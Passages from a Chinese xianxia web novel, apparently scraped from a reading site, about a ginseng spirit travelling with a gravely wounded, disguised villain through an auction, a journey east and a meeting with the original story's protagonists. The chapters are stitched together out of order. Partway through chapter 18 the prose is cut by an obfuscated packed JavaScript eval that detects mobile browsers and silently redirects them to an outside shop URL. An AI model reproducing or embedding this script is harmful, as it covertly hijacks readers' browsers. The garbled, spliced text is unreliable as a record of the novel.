云深没感到任何不适,反而有种玄而又玄的感觉,从未有过心脉跳动的身体,随着木灵之心的进入,好像感受到了心脏鼓动的声音。 云深没觉得高兴,反而很紧张。他心虚不已的偷看隋简的脸色,干巴巴的问:“怎么办,它好像和我融为一体了,不会取不出来了吧?” 这可不能怪他啊,是大反派说让木灵之心待自己体内的,他都没答应呢,这木灵之心就钻进去了,也不给参反应的机会。 隋简说了句无妨。 云深就想不通了,大反派不是专程为了木灵之心来的吗?证明木灵之心对他肯定有大用处,为何却好像一点都不在意呢? 他没敢问出心中的疑惑,倒是还有一点挺好奇的点被他问了出口。 “要是没有那日精月华,你原本打算怎么拿到木灵之心的?” 隋简没有作答,意味深长的笑了笑,端起药碗啜了口参茶。 联想之前大反派拦路抢劫的行为,云深难得聪明了一回,福至心灵的懂了。 不是明抢就是暗偷,反正不会是什么正当的手法。 . 随着木灵之心到手,隋简到极欢城的目的已经达成,自然没有久留的必要,一人一参休整了一日后便踏上了离开的路程。 “我们接下来要去哪里?” 这次的代步法宝还是之前那艘飞舟,罡风吹得云深枝叶乱晃,若不是他用参须嵌入抓住夹板的缝隙,以他那小身板早就不知道吹飞到哪里去了。 隋简靠趴在围壁上,及腰的青丝只挽了一半发髻,剩余的垂落在后背,丝丝缕缕的随风轻轻浮动。 他侧目看向云深:“东洲。” 东洲? 云深满头问号,他还以为大反派是要回大本营,没曾想却是去了截然相反的东洲。 云深又问:“我们去东洲做什么?” “去了便知。” 隋简不欲做过多的解释,云深探听无门,只好憋着好奇郁闷的闭嘴。 他想不出来大反派去东洲的目的,穿书本来对他来说是个巨大的金手指,但他穿过来的时间线已经是全文完结以后,已知的剧情通通没了用处,金手指作废,之后会发生什么完全就是两眼一抹黑的状态。 既然大反派说去了就能知道,云深索性就不再纠结。 东洲路途遥远,飞舟的飞行速度不算慢,晃晃悠悠飞了将近月余才接近抚仙镇。 抚仙镇是个堪比大城池的镇子,它是从南洲到东洲唯一一个能进行传送的地点,而传送点被掌控在四大家族中的上官家手中。 一人一参并未直接前往传送点,而是先在客栈住了下来。 连日的赶路隋简的身体已经到了极限,房门刚关上便迅速结下一个防御阵法,以防有人在他疗伤期间闯入。 阵法极其耗费灵力,隋简捂着嘴唇吐了口血,许久没见他这样都快要忘记他身受重伤的云深当场就吓坏了,围着他转来转去,差点掉金豆豆了。 “截一段参须给我。” “哦哦哦,好。” 每次截参须煮茶都心不甘情不愿的人参精这回却没有了半分怨言,他没忘记隋简有洁癖,截下参须后还先洗干净了递过去。 人参精的身体微不可察的轻轻颤抖着,那双豆豆眼里是浓郁化不开的担忧和恐惧。 大反派是他来到这个异世以后第一个遇上,也是唯一相处最久最熟悉的人,虽然他心里和嘴上经常骂大反派不做人,但就像雏鸟会天然依恋第一眼见到的人,云深内心深处其实也很依赖隋简。 他小心翼翼的看了眼隋简,见他苍白唇色全无,顿时更难过了。 他想起了一些不好的回忆,忍不住哽咽的问:“你不会死吧?” 轮回了十多世,隋简早已忘记了被人关怀是种什么样的感受。他心中轻微触动,难得语气温柔的安抚:“我没事,别担心。” 人参精没说话,但眼睛里分明写着不信。 隋简无奈的叹口气,他没再说安慰的话,而是捏了捏人参精的叶片拿走了参须后开始疗伤。 一晃数日,隋简入定后就一直没再睁眼,期间生性好动的云深一直安安静静的守着他,后来更是直接将陶土盆拖到了隋简的腿边挨着,直接扎根在他身边不动了。 一个人待着是件很无聊的事情,云深干脆也入了定,只不过他是在修炼罢了。 他并不知道自己这个无心的举动,反而帮了隋简。 空气之中凝聚着肉眼可见的木系灵气,一团团光点飞速渗入人参精的身体,体内木灵之心忽明忽暗像是在呼吸一样闪烁着。 木系灵气相较于其他四系的灵气元素,它是最为温和的,对隋简的伤势有很大的益处。 隋简从入定之中醒来,第一眼看到的就是将整个房间密密麻麻挤满的木系灵气,浓郁的程度几乎达到了液化成水雾的状态。 这样的异常现象必然引来旁人的查探窥视,他下意识的就起身去检查屋内布置的隔绝阵法,确认完好无损后方才放了心。 修炼中的人参精完全陷入了冥想状态,许久没有长新枝叶的枝杆在一点一点的抽条,缓慢的长出新的芽孢。 人参精似乎在进阶,换算成人修的修为等级,就相当于在筑基。 修士踏入修炼,练气期只是刚刚入门,筑基之后才是真正踏入仙途。 隋简略微思索了片刻,他若是没记岔,自己与云深第一次见面时才刚刚成精聚气,如今不过短短两个月他就开始筑基了。 这样的天赋无聊论是在人修还是妖修之中都是极为逆天的存在,就是连号称修仙界第一天才的浮光也比不过。 要知道,当初浮光用了半年才筑基。 云深对外间的一切变化都察觉不到,更不知道隋简用一种极为复杂隐晦的目光盯着他。 隋简自然发现了云深修炼对自己的好处,受损的神魂又被修补了一块缺口,虽然微乎其微,但确实是有影响的。 他从未探过云深的根骨,但隋简却很肯定,他必然是木系单天灵根。 木系主生机,多数有木灵根的修士走的都是丹修。 涅槃丹是十级丹药,对丹修的等阶要求最低也要到化神后期。隋简主修剑法阵法为辅,对于炼丹只学了个皮毛,他自己炼制肯定不行,但纵观整个修仙界又找不出一个让他信任的丹修。 隋简抿了抿唇,审视的目光落在缓缓摇曳枝叶的人参精上。 或许这只人参精会给自己带来意外的惊喜,而他有的是耐心等待对方成长。 10、第十章 不惜跟御灵宗撕破脸皮,眼看着就要到嘴的鸭子就这么飞了,也不怪太珩宗长老恼羞成怒。 竞拍的宝贝都是价高者得,清园的做法也无可指摘。 各百滴的日精月华与上品灵石,哪个更为贵重,相信有点脑子都知道如何选择。 “瞧我之前说啥来着,这不螳螂捕雀黄雀在后了嘛,刘长老您的脸可疼啊。” 许慎眼看着是没机会抢到木灵之心了,便趁机落井下石挖苦太珩宗长老。 他只觉得心中畅快,自己宗门得不到他太珩宗也得不到。 太珩宗长老没吱声,但十有八九也是气狠了。 拍卖台前,包厢之外的修士议论纷纷。 除了木灵之心以外,在场大多数人也冲着那寄拍的日精月华而来。 原本日精月华各十滴就已经让人趋之若鹜,未曾想那寄拍的神秘人竟为了拿下木灵之心一下豪砸两百滴。 众人一瞬间恍惚,甚至有些怀疑起人生,原来那一滴难寻的日精月华竟是如此烂大街之物吗?说拿出来就拿出来了,还一次性两百多滴! 这不免让人怀疑,那日精月华持有者除了已知这些,怕不是还有多余的,否则怎么如此豪气? 许慎是个人精,脑筋稍微一转就知这人万万不能得罪,原本也没寄多少希望能拿下木灵之心,主要是见不得太珩宗那嚣张跋扈的模样争一口气罢了,如今倒不如爽快退出卖那神秘人一个面子,说不定对方一高兴,愿意拿出更多日精月华与他交易呢? 御灵宗弟子几乎都是御兽师与妖修,日精月华对妖修有用,对妖兽同样有用。妖修修炼时若是能有日精月华辅助,修为必然能高歌猛进。而妖兽吸收了日精月华,甚至能突破血脉等级的桎梏。 相比起来,木灵之心显得就没那么重要了,毕竟没有哪个驭兽师或妖修能拒绝得了日精月华的诱惑。 “御灵宗退出竞拍。” “这木灵之心既然阁下想要,那我御灵宗也不好夺人所好,只是许某有一事相求。” “若是阁下仍有多余的日精月华,还望阁下优先考虑与我御灵宗做交易。” 许慎极为重视的将包厢的晶体墙打开来,一副随时恭候大驾的做派,给足了想要与隋简交易的诚意。 “好你个许老头,忒不要脸!” 拍卖会场之内传来太珩宗长老咬牙切齿的声音,许慎这回却理都没理他,视线若有所无的搜寻着可能是日精月华持有者的身影。 只可惜他注定一无所获。 隋简已经料到了会有如今的局面,他淡定的传音道:“恐怕许长老要失望了,两百滴日精月华已然是在下能拿得出手的所有数量,不过寄拍那二十滴,若是徐长老能拿出让在下满意的东西交换,全数交易给徐长老也无妨。” “如此许某便放心了。” 许慎等的就是他这句话。冲着那二十滴日精月华来的人不少,只要寄拍的神秘人优先考虑御灵宗,那他便别其他人更有优势。 至于交易行那两百滴,以清园的惯性,此后必然要拿出来拍卖,而那两百滴他御灵宗也势在必得! 隋简给的实在太多了,御灵宗已退出,太珩宗又拿什么跟隋简争? “既然诸位都没有异议,那么这木灵之心便归那位大人所有了。” 玄老宣布了木灵之心的归属,拍卖会的竞拍到此结束,接下来便是寄拍品的主场。 厢房内,云深欲言又止,合着闹了半天,大反派还是在吃他软饭! 那些日精月华,可全都是他辛辛苦苦修炼收集的,全让大反派拿去装逼了。 最重要的是,他还没得到一句夸奖! 好气哦! 人参精气成了河豚,爪状的叶片都竖了起来。 这时门外传来一阵敲门声,侍从在外头扬声问:“大人,木灵之心给您送上来了,不知您现在是否方便开门?” 气了不到十秒的人参精瞬间破功,慌里慌张的找地方躲,可厢房里除了桌椅就剩中看不中用的摆件。 最安全的地方其实是隋简披风内里的衣袋,但云深还生着他气呢,让他立马寻求生气的对象帮助,他觉得拉不下面子。 最后他钻进了晶体墙左侧的蓝釉彩瓶里,完美的装成了一个绿植摆件。 目睹了全程的隋简:“…………” 他捏了捏指尖,忍住了想把人参精揪出来的冲动。 “进。” 话音一落,房门便被向里推开,玄老带着捧着黑匣子的侍从走了进来。 木灵之心珍贵,为了避免出现意外,也是存了几分想见一见隋简的心思,玄老亲自送了上来。 他朝隋简做了个拱手礼:“久仰,不知阁下如何称呼?” 玄老态度客套恭敬,挑不出错处来,隋简用之前搪塞浮光的话回应了他:“姓云,单一个字深。” 躲在角落里偷听的云深:“???” 这好像是他的名字,大反派怎么能抢他名字呢!? 角落里的绿植叶片无风抖动,但也只是很细微的一下,却同时将屋内几人的视线都吸引了过去。 玄老疑惑的回头问侍从:“这厢房内何时添置了绿植?” 侍从回想了下道:“不曾添置过,许是谁放错了。” 放错了摆件虽然只是件小事,可也侧面表面有人在玩忽职守。玄老正要发怒,就听隋简解释道:“这是我养的灵植,方才观看拍卖会时顺手放在那里了。” 他说罢迟疑的拧了拧眉心,问:“可是有何不妥?” 对于他这番说辞玄老未作怀疑,乐呵呵的说了句无妨。 “云深阁下,这便是木灵之心,你可以现在就打开匣子验收一下。” 他说着抬了抬下颚,示意侍从将装着木灵之心的黑匣子送到隋简面前。 隋简不甚在意的看了一眼:“验收就不必了,相信玄老也不会为了一个木灵之心就砸了清园的招牌。” 他从侍从手中取走黑匣子随手搁在了身旁的茶桌上,而后将承诺给交易行的两百滴日精月华拿了出来。 玄老验视了一番,确认是货真价实的日精月华且一滴都没少后,开怀大笑道:“好好好,云深阁下爽快,老夫就喜欢和爽快人交朋友。” 隋简但笑不语。 钱货两讫,两人互相恭维寒暄了两句后玄老便告辞了,临走时目光似有若无的看向了晶体墙,嘴角挂着心照不宣的笑容。 房门再次被关闭,隋简走到花瓶前,由上而下的俯视着躲在花瓶里一动不敢动的人参精,语气凉薄的说:“人都走完了,你还想躲到什么时候?” 人参精动了动,缓缓探出头来,一双豆豆眼滴溜溜的乱转,确认隋简没骗他人真的都走完以后,他才敢大摇大摆的攀着花瓶瓶口爬出来。 人参精动作很利索,但花瓶表面光滑,加上蹲久了参须有些僵直发麻,他一不小心踩滑了,呲溜一下摔了个四脚朝天。 隋简好气又好笑,忍不住伸出一根手指,恶劣的将摔倒的人参精死死按在了地上,颇有些牙咬切齿的道:“遇到旁人就这么点胆量,怎得就敢对你的主人耍脾气摆脸色了?” 人参精趴着装死,拒绝交流。 隋简可不惯着它,揪着人参精的枝杆就把它提溜了起来,然后将他放到了桌面上。 云深正要炸毛呢,怀里突然被塞了样东西进来。 是一个荧绿发光,比他身体还要粗壮的心脏。 他手忙脚乱的抱着,浑身僵硬,仿佛怀里的不是木灵之心,而是一颗烫手山芋。 他用两根参须捧脸,惊呼:“你给我干嘛!” 隋简抬了抬眼皮:“拿去玩。” 拿去玩?!这种人人争抢的宝贝,花了那么大代价拍回来的东西,给他当玩具?这合理吗? 云深抱着木灵之心放下也不是抱着也不是,心道这哪是什么宝贝啊,分明就是炸弹。 可他内心又不由得升起一股诡异的欢喜。 大反派居然把木灵之心给他当玩具耶,嘿嘿。 云深稀罕的搓了搓木灵之心:“就……给我了?” 隋简看着叶片尖尖翘起的人参精,无情的泼了一盆冷水:“只是让你拿去玩,可没说要给你。” 云深:“…………” 他就知道! 寄拍的日精月华压轴出场,隋简只要灵植,御灵宗准备得十分充足,加上隋简承诺过对方给予优先权,最终御灵宗以一己之力换走了日精月华各五滴,其余则由四大家族和太珩宗瓜分走。 如此一来,涅槃丹丹方上的珍稀灵植便集齐了将近二十种,省了他不少的功夫。 隋简对这个结果还算满意。 所有竞拍与寄拍的物品都已交易完,拍卖会彻底落幕。 云深再次藏到了隋简的披风里,而那颗木灵之心则被收入了储物戒中。 隋简混迹在人群之中,随着涌动的人流走出拍卖行。 拍卖行出口外,暗中果然与他意料之中一样占据了各方势力的人马。 不用猜也知道这些人聚集在这里想干什么,无非就是行杀人夺宝之事,又或者想从人群之中找出日精月华的持有者,也就是他。 无数查探的神识扫来,隋简将修为压制到元婴以下,微微伛偻着背脊,浑身上下透着一股子平凡劲,与身旁的人对比没有半点出挑之处。 那些神识扫了一圈便收了回去,隋简就这么施施然的从他们眼皮子底下离开了。 17、十七章 云深是怎么也没想到,隋简要找的人居然是上次差点将他剁吧剁吧切片煮了的狗男男! 当三人迎面撞上时,浮光与赵随云暗中递了个眼神。 他们也没曾想竟会在红叶原再次遇到隋简,也不知是有意为之还是单纯的巧合。 “可真是巧了,我们又见面了。” 相较于上次相见是的缠绵病榻,浮光已然一扫病气容光焕发了起来,清冷出尘的气质更胜从前,可见这些时日被照顾得很好。 他眉眼含笑走上前来与隋简打招呼,拱手见礼:“别来无恙,云深道友。” 躲在叶片后的云深听到有人喊自己名字,下意识就要应声,但隋简比他反应更快。 “别来无恙。” 只听隋简沉声回应,似乎是想要拱手作稽回礼,但动了动手臂才想起臂弯里还抱着一个花盆。 花盆因他的肢体动作稍稍向前倾斜了些许,连带着花盆里的云深这跟着往前晃,盆中泥土刚松过没压得太紧实,扑簌簌的随着倾斜的角度外一边滚,好险被让云深吃了一嘴巴,但也扑了他一脸。 云深当即忘了这茬,伸着参须擦脸上的泥巴。 浮光的视线不可避免的落到隋简臂弯里那盆灵植,他略微差异的扬了扬眉:“两个月没见,这小家伙长高了不少。” 他说着抬手想去捏一捏那青翠欲滴,只有半掌宽的细嫩新叶片。 已经擦干净脸的云深记仇的哼了哼,叶片往后挪,避开了浮光伸过来的手。 他才不要被曾经想要切片他的人摸呢! 浮光的手扑了个空,凝泄在半空。他有些无奈的扭头问隋简:“上次的事情,它还气着?” 说完他好似又觉得自己说错了话,苦笑着道:“气着也是应当,上次的事情还未与他好好赔礼道歉。” 云深躲避浮光的动作让隋简嘴角压抑不住的微微上扬,但他很快就敛起嘴角的笑意,没有多少真心实意的替人参精道了歉:“只是这些时日让我逼着修炼用功,至今还在同我置气,并非有意针对道友,还请道友不要与它计较。” 浮光了然的点了点头,似是想起什么来,伸手从拢袖里掏了掏,掏出一颗婴儿拳头大小浑圆靛蓝色半透明的珠子,而后塞进了花盆里。 他用哄小孩玩儿的语气,对云深说:“这是东海的鲛珠,拿去玩罢,就当是为上次的事赔礼道歉了。” 突然收到礼物的云深:“…………” 这算不算贿赂? 就算是贿赂,那也是他应得的! 云深理直气壮的将鲛珠扒拉到面前,团吧团吧卷着。 这鲛珠虽然不知道有什么用,但看样子肯定是个好东西。 这种宝贝是他的了,嘿嘿。 浮光被他这小财迷样逗得忍俊不禁的笑了笑:“你这小人参精可真好玩儿,我都想养一只了。” 隋简扶额:“让悬灵长老见笑了。” 咦?悬灵这名字听着有点耳熟。 被贿赂腐蚀了心智的人参精终于动了动他的脑子,缓缓想起悬灵二字好像是原文主角受的道号,自剑宗掌门羽化登仙后,他与主角攻一同接任了剑宗长老一职,外界便跟剑宗弟子一样尊称浮光一声悬灵长老。 所以,面前这个清冷俊逸的男人,实际上就是原文主角受浮光?! 跟他形影不离凶神恶煞的男人,岂不是原文主角攻赵随云? 得知真相的云深直接大脑宕机了。 . 无论是有意为之还是真巧合,既然撞上了又目的地一致,三人便干脆同行了。 天空上的漩涡裂口看似近在眼前,但实际距离却很远,一行三人一参,紧赶慢赶才在日落月升之际抵达漩涡裂口的正下方。 那是红叶原唯一的一座山峰。 山峰矗立,有千余仗,外形像一把出鞘的利刃,直挺挺的插.入云霄。而那漩涡裂缝的入口,正正好与山峰峰顶相接。 也就是说,想要进入秘境,还得先爬上峰顶。 爬上峰顶不难,难就难在如何在攀登峰顶的同时,还要防备来自其余修士的恶意和攻击。 毕竟机缘有限,谁都不会嫌多更不想被人抢先夺去,像这种铲除竞争对手的好机会,但凡有点脑子都知道该如何做。 山峰百里开外,云深抬高了头都看不见峰顶,他喃喃感叹道:“好高啊,这怎么上去啊。” 几人并未着急聚集到山峰附近,而是离得远远的藏匿了起来观察形势。 山峰脚下是最佳攀登点,那里早已被十大仙门以及雄霸一方的妖修魔修大能占据,剑宗便在其中,还隐隐势压其余势力一头。 外围一些的是四大家族,而后才是各种宗门小族,散修只能屈居最外围。 隋简此时的身份是个散修,况且他身上藏着秘密,自然不能贸然进入。 他的伪装还算完美,但人总有疏忽大意之时,而他仇家遍布修仙界,若是让人识破了身份,那对他而言会是一个极大的麻烦。 可若是耐心等待所有修士进入秘境之后再行动,又恐时间上来不及。 这也是为何他会冒险找上浮光和赵随云的原因。 隋简垂眸沉思,得想个办法让浮光先开口邀请。 他沉吟片刻,略带歉意的对浮光二人说:“我已见到剑宗弟子就在山脚下,这一路上叨扰二位了,我到此停下即可,二位长老先行罢。” 他说罢像是忍不住了一般,一张温雅俊秀的脸青灰煞白,额间青筋凸起,冷汗浸湿了鬓角额发,虚拢着拳头抵着嘴唇闷声咳嗽,指缝间隐约可见一抹猩红。 “你没事吧?” 浮光还没做出反应呢,倒是许久没见他咳血的云深着急了。 他丝毫没怀疑隋简这般模样是装出来的,只知道他咳了血,顿时紧张不已的截了一段干净的参须,用叶片擦干净后直接送到隋简嘴边。 这个时候倒是不宝贝他的叶片了。 云深一边往隋简嘴里塞参须,一边又怕又担忧的嘀嘀咕咕:“怎的又咳血了?就叫你好好养伤你不听,万一挂了可不能赖我。” 虽然说着抱怨的话,可一举一动都透着对隋简病情的关心。 隋简怔住了,被他这番举动弄得差点演不下去。 他怎么就忘了这人参精智商不高,看不出他在演戏? 他心中叹了口气,接受了人参精递过来的参须,含在嘴里压到舌尖下,满口的清香倒还真让他时常作痛的身体好受了些。 浮光两人互相递了个眼神,探究的目光落到恍若无人般互动的一人一参,见不像是作假,最终收起心底的疑惑和探究开口提议道:“云深道友这般我们可不放心将你一人丢下。不若你与我们一同前往剑宗,待安顿下,道友若是不嫌弃,我可为道友诊治一番。” “云道友,你看如何?” 浮光并未强硬的直接将他们带走,而是留了选择的余地。 “这……是否太过麻烦了?还是谢过悬灵长老好……” 隋简似乎不太好意思,犹豫不决。倒是看完了全文,深知浮光炼丹医术有多精湛的云深不由分说的为他做了决定。 对大反派身体的担忧占据上风,云深此时已经完全忘记了对大反派的恐惧,他不由分说的伸出一根参须捂住隋简的嘴堵住他未说完的话,仰头讨好的对浮光说:“去的,我们去的。” 大反派隔三差五的吐血,还不好好养伤到处跑,实在是让参操心! 浮光直直的盯着云深瞧,眼角余光不时扫过被堵了嘴的隋简,原本是笃定眼前的人是已经被一箭穿心身死道消的大师兄的信念突然就没那么坚定了。 以大师兄的脾气和洁癖,怎么可能会容忍有人这样对他还不当场杀了? 他眸光微闪,缓缓轻笑:“那就走吧。” 于是几人就这么达成了共识,待隋简缓和过来后继续向山峰腹地靠近。 「胆儿挺肥?竟敢擅自为我作决定了?」 走到最后的隋简接着袖袍的遮掩,扯过云深搭在盆沿垂落的参须,狠狠的掐了一把。 云深吃痛,豆豆眼瞬间泪眼汪汪的,但他又不敢反抗,只能委委屈屈的在心里嘀咕。 他又不傻,大反派莫名其妙巧遇主角攻受,总不能是来找他们叙旧聊天的,肯定是另有图谋,较真起来他这般还算是顺水推舟了呢,怎的还有错了呢? 抛开事实可能是隋简在算计谋着什么不谈,方才他突然吐血的模样确实吓了云深一跳,下意识就想先治好隋简再说。 等他反应过来事情都成定局了,就算大反派要找他算账也改变不了什么,他索性抱着鸵鸟的心态拖一时是一时,直接装死。 隋简也不是真要找他算账,小小给了个警告后便收回了手。 他奖罚分明,既然已经罚过人参精的擅自做主,那么人参精如此关心自己这一点也该好好奖励一下。 隋简沉思了片刻,暂时想不出该给他什么奖励,于是按捺住想法,等秘境之行结束后,问过人参精的意愿再行商议。 一行三人一参很快就靠近了山峰外围,各自为营的各方势力表面看似相安无事但实则暗潮涌动,而这种波诡云涌的氛围,在几人直入山峰腹地与剑宗汇合,被人认出浮光与赵随云的身份后被推到了另一个高度。 18. 十八章 剑宗两位长老自葫芦山与大魔头隋简决一死战后便再没有任何消息和踪迹,这骤然出现不免吸引了众人的目光,连带与他们同行的隋简也受到了瞩目。 耳边窃窃私语不断,但一行三人谁都没有在意,只有云深偷偷支着耳朵偷听,当然除了一些闲言杂语也没能听到什么有用的东西就是了。 云深很快就听得无聊了,他打了个哈欠,随着隋简走动时晃动的幅度眼皮越发沉重。 没过多久,人参精彻底陷入了梦乡。 剑宗身为修仙界第一仙门,但实际上穷的啷当响,驻扎的营地竟只是几个简简单单的随身木屋拼凑而成,与其他宗门那雕梁画栋气派豪华的宫殿一比,画风显得极其格格不入。 用剑宗门人的话来说便是,灵石用来养自己的老婆剑都快要养不起了,谁还管那些身外之物?能使用就行了,哪有那么多酸腐的讲究。 浮光和赵随云先去了找带队长老,隋简与云深被留在了外头。 浮光自然不会做把客人撇到一边不管不顾的事情,是以隋简身旁还陪着两名剑宗弟子。 “不知道友何方人士,师承何门何派?” 两位少年十分自来熟,他们对这名跟着两位长老一同回来,看起来病恹恹的青年很是好奇。 少年人的情绪总是真挚灼热,还未被世俗侵染,说出来的话语虽听着咄咄逼人,但实际上一点坏心眼都没有。 隋简对两人上来就刨根问底的行为并未气恼,但回应的态度也不算热忱。 他回道:“无门无派,一介散人罢了。” 两名剑宗弟子虽莽撞但也不是看不懂人脸色的人,见隋简神情疏离冷淡才后知后觉的发现自己的行为越界了。 他们悻悻的闭嘴,老老实实不问了。 隋简耳根终于落得了个清净。 浮光与赵随云入木屋内已有一盏茶时间,如今大门依旧紧闭,想必一时半会儿的是不会出来了。 赶了一日的路,隋简身上乏得厉害,四肢百骸里原本尚且还算能够忍耐的疼痛叫嚣翻涌着。 他并非那有苦硬吃的人,索性从储物袋中拿出一张竹制摇椅坐了下去。 这一坐下,怀中的人参精就显得格外显眼,精神一直处于紧绷状态的隋简这才想起云深来。 他回忆了片刻,似乎自打进了山峰脚下,人参精就格外的安静。 他垂眸端详,只见那人参精叶片趴伏,呈松懈的舒展状,似乎是睡着了。 指尖拨开叶片往里一看,人参精正抱着那枚鲛珠打着小呼噜。 隋简:“…………” 居然这样都能睡着,可真是心大。 隋简指尖拨弄了下软趴趴的叶片,好气又好笑的摇了摇头,下一息他突然扭头看向红叶林深处,漆黑的双眼翻涌着暴虐的戻气。 有人在暗中窥视着他们。 那一道目光不甚明显,状似不经意般扫来,并无恶意,更多的是探究和疑惑,似乎在确认着什么。 当隋简转头捕捉视线的来源时,那道视线便消失得无影无踪。 月色之下,幽暗黑沉的山谷里,随处燃烧着充作照明作用的灵火,飒飒夜风拂过,带动红叶翻飞,一时间树叶碰撞的沙沙声不绝于耳。 隋简微微蹙眉,并未发现任何有用的线索。 对方极善隐藏,但有一点可以肯定的便是,对方不是冲着他来的,而是为了他怀里的人参精。 虽然对方并未做什么,可这种所有物被窥视的感觉还是让人极度不爽。 隋简垂眸看向毫无所觉的人参精,眼神晦暗。 . 一刻钟后,浮光去而复返,一向与他形影不离的赵随云不知去了哪里,并未跟着他。当他看到隋简舒适的靠坐着摇椅,指尖偶尔不经意间的挑拨着怀中灵植的叶片那一幕时愣住了。 他眸光微闪,随后快步走上前去,脸上带着几分愧疚:“瞧我,一时心急着要与同门了解宗门近来的情况,都忘了让弟子好好招待云深道友了。” “让道友见笑了。” 隋简起身收起摇椅,拍平起了皱褶的衣摆,缓缓道:“无妨,是我给悬灵长老添麻烦了才是。” 两人互相客套了一番,浮光便提议为隋简看一看他的伤势,隋简推拒了几句,最终还是没有说赢浮光,只能略显局促的说:“那便有劳悬灵长老了。” “客气了。” 两人结伴走入一个空置的木屋,两名剑宗弟子被留在了外头守门。 云深是被陶土盆与木桌相撞的声音惊醒的,他迷迷瞪瞪的搓了搓眼睛,抖开叶片环顾四周,只是还未看清身处何方就对上了大反派那明显不太高兴,黑沉沉的眼眸。 大反派似笑非笑的道:“你倒是醒得凑巧,可是睡舒服了?” 这话怎么听着都不像是好话。 云深:“…………” 云深也知道自己不厚道,重伤不愈的大反派正身处死敌大本营,虽然已经披上重重伪装,可但凡有一步行差踏错暴露了那可就麻烦了。 自己非但帮不上一点忙,还撇下大反派睡得像只猪仔一样。 可这也不能全怪他,这段时间被隋简逼着修炼,云深可是夜以继日的炼丹,连眼都没合过一次,这好不容易松懈下来,会睡着不要太正常了。 他理直气壮的觉得自己没错,但双眼却心虚的撇开了视线。当触及周围景色时,这才发现他们已经从外头转移到一间木屋内,而主角受浮光正好整以暇的打量着他。 大反派与主角受同处一室,主角受的手搭在大反派的手腕上。 云深对眼前这一幕有些转不过弯来,小脑瓜子思考了好半晌,才想起浮光说过要为大反派诊治的事情来。 他一下就来了精神,参须下意识将抱着的鲛珠推一边,两眼亮晶晶的搓了搓参须,期待着问:“这是开始治疗了吗?” 浮光抿唇轻笑:“是呢。” 其实诊脉还未开始,隋简刚把手伸出来云深就醒了,是以他才会说云深醒来得巧。 他屈指敲了敲人参精的眉眼上方:“安静。” 云深顿时捂住脑门,老老实实的缩回叶片后方,但过了一会儿又好了伤疤忘了疼,叶片悄悄拨开一条缝隙,一双豆豆眼藏在缝隙里滴溜溜的转。 “呵呵……” 浮光被他这番小动作逗得忍俊不禁的笑出声,只觉得这人参精当真可爱,他是真心动了,也想养一只如此有趣的小家伙。只是可惜这小家伙已经认了主,想偷偷拐回家都不成了。 他只是动了这么个念头,对面的隋简好像看穿了他的心思一般,正用一种冰冷又带着谴责的目光看着他。 浮光狭促清了清嗓子,总算开始专心为隋简探脉。 修道者的经脉和丹田都是修练的根本,若非绝对信任能够交托性命之人,轻易不会让任何人的灵力进入。 丹修的灵力多数温和无害,但也不是那么轻易就能突破修士本能的抗拒,是以浮光只选用了最为简单基础的诊脉手法。 他摸到隋简脉象的第一瞬间就震惊得微微睁圆了双眼,似乎不太相信摸到的脉象,拧着眉心又摸了好久。 浮光的脸色实在不算好看,作为当事人的隋简却泰然自若一点都不紧张,倒是让偷看的云深一颗心吊到了嗓子眼。 他忍不住抓起一根细细的参 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13353228|140607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 须凑到嘴边啃,紧张得呼吸都忘了。 良久后,浮光收回了搭在隋简手腕上的手,眼神复杂的看着隋简却没说话。 一个已死之人,该埋在土里才是。 是的,眼前的青年没有任何脉象。不仅如此,他全身上下更是多处损伤,经脉几乎是完全粉碎的状态,仅仅靠着灵力黏连维持着,似乎神魂也受到了极大的创伤。 浮光修行五百载,除了鬼修以外,他还从未见过没有脉象的人还能活蹦乱跳到处走动的,能吊着一口气活着都是奇迹了。 而眼前的青年分明不是鬼修,可他不仅拖着这样一副残破的躯体活了下来,甚至还能做到面不改色与常人无异。 若非自己亲自为他诊脉,恐怕也无法从表象看出他体内全然残败了的糟糕状况。 如此恐怖的意志力,让人心惊。 浮光眼神复杂的看向眼巴巴的望着他的云深,突然就理解了隋简为什么要随身带着他半步都不肯离了。 人参,无论是在凡界还是修仙界都是吊命的良药。 隋简还活着,这人参精功劳不小。 浮光沉默得太久,久到隋简率先出声问他:“我这伤势还能治吗?” 浮光抿了抿唇,蹙眉沉思半晌:“道友的情况十分棘手,且让我好好研究一番。” 隋简闻言只是点了点头,并未再问其他,好像并不是那么关心自己的病能不能治好。 云深听着两人的对话,悬着的一颗心终于死了。 完了完了,连浮光这个主角受,仙道第一丹修都对大反派的病束手无策,那岂不是说大反派死定了? 他有点难过的想,毕竟与大反派相处那么久,以后等大反派死了他会好好给大反派送终的。 刚这么胡思乱想,云深就感觉头皮发痛,似乎是有人揪住了他的枝叶在用力的扯。 他捂着脑门抬头,还没来得及生气呢就对上大反派冰冷如万年寒潭的双眸,顿时吓得什么想法都没了。 浮光看着还有心思逗弄人参精,一点也不在乎自己死活的隋简,欲言又止了好半晌,还是没忍住开口劝了一句:“云深道友既然来了红叶原,想必也是冲着秘境而来。身为一个丹修,我还是得负责任的奉劝道友放弃秘境,好好修养一下身体才是。” 秘境之内危机重重,便是修为与身体素质都处于全盛状态的自己都要谨慎小心,他一点都不觉得隋简能活着从秘境里出来。 隋简闻言抬眸看向他,神态平静的说:“我并未勉强,我的极限在哪儿我心中有数,多谢悬灵长老关心。” 这话便是不愿听劝了,浮光也不是什么烂好人,既然好言相劝对方不听他也不强求,只叹了口气后便起身告辞。 隋简起身将他送出了门。门外赵随云早已等候多时,他安静的站在屋外的一颗红叶树下抬头仰望夜空的漩涡,视线余光见到浮光身影都立刻就迎面走了上去。 浮光侧目对隋简最后说了句:“有些事还当量力而行,切莫勉强才是。” 隋简不置可否。 浮光说完后便跟着赵随云一同离开了。 两人回到他们暂时歇脚的木屋,赵随云为他倒了一杯温茶递到他手中后才开口问了一句:“如何?确认他的身份了吗?” 